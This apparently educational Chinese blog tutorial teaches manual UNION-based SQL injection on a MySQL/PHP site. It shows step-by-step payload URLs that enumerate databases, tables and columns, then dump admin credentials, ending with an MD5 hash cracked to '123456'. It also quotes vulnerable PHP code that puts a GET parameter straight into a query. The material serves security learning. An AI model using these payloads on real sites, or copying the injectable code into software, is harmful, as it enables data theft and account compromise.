我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
一、MySQL+PHP手工注入示例:库->表->列->行
0、MySQL数据表的相关概念:
(1)表是数据库中最基本最重要的数据对象,用于存放数据库中的数据。 (2)表是存储数据的一种逻辑结构,表由行和列构成,因此也称二维表。 (3)每个表由若干行组成,表的第一行为各列标题,其余行都是数据。 (4)一列就是一个字段,一行就是一条记录。
通俗的说: (5)数据库里面存储着数据表。 (6)数据表里面存储着一行一行的数据,也成为行数据,或者行记录,其中第一行是字段名/列名,也就是各列的标题。
1、查询所有的库
(1)exp1: http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 # SCHEMA_NAME代表库名 # information_schema是一个存储着所有信息的库 # SCHEMATA存储着所有的库名 # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress
(1)exp2:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress
2、查询当前库里所有的表
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() # 查询结果:admin,article,moon_range,users
3、查询admin表里所有的字段
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e # admin的十六进制编码为:0x61646d696e # 查询结果:id,username,password
4、查询admin表的所有行数据/记录
(1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin # 查询结果:admin:e10adc3949ba59abbe56e057f20f883e # md5解密网站:https://md5.cc/ # md5解密后密码为:123456
5、group_concat() 查询失败的原因和解决方法
(1)失败原因: 利用gourp_concat()函数的这种查询方法不是通用的,有时候查询不全,这个原因是字段本身在被定义的时候,长度设置的不够大。
(2)解决方法:换一个回显字段进行查询,或者用函数查询长度再用字符串函数截取。这种方法将会在下面介绍。
(3)本次测试为什么可以查询成功:
后台关键源码: 通过以下源码,发现回显位是title和content字段
<?php
include 'init.php';
$id =isset($_GET['id']) ? $_GET['id'] : 1;
$result=mysql_query("select * from article where id=$id") or die(mysql_error());
$row = mysql_fetch_array($result);
echo "<h3>{$row['title']}</h3>";
echo "<p>{$row['content']}</p>";
?>
我们现在去数据库里面查看: 发现title字段的类型是varchar,其长度为255;而content类型是text,text不需要设置长度,也可以能设置为0,不过存储还是最大值。